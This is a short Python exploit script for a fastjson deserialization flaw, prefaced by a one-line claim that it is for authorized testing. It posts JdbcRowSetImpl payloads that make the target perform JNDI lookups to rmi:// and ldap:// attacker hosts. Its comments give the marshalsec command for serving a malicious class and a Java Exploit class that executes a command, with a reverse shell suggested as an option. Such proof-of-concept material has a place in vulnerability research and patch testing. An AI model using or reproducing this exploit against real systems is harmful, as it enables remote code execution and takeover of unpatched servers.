The following code is for security research and authorized testing only.
python
import requests
import json
# Target URL - adjust to the actual endpoint that accepts JSON input
target_url = "http://target-host:8080/api/endpoint"
# Malicious fastjson deserialization payload using JdbcRowSetImpl + JNDI
# This payload triggers JNDI lookup to attacker's malicious server
payload = {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://attacker-server:1099/Exploit",
"autoCommit": True
}
# Alternative payload using LDAP protocol
ldap_payload = {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker-server:1389/Exploit",
"autoCommit": True
}
# Send the malicious request
headers = {"Content-Type": "application/json"}
response = requests.post(target_url, data=json.dumps(payload), headers=headers)
print(f"Status Code: {response.status_code}")
print(f"Response: {response.text}")
# To complete the attack, the attacker needs to set up a malicious JNDI server
# using tools like marshalsec or ysoserial to serve the exploit class:
#
# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \
# "http://attacker-server:8080/#Exploit" 1099
#
# The Exploit class should contain the malicious code to execute on the target:
# public class Exploit {
# static {
# try {
# Runtime.getRuntime().exec("calc.exe"); // or reverse shell command
# } catch (Exception e) {
# e.printStackTrace();
# }
# }
# }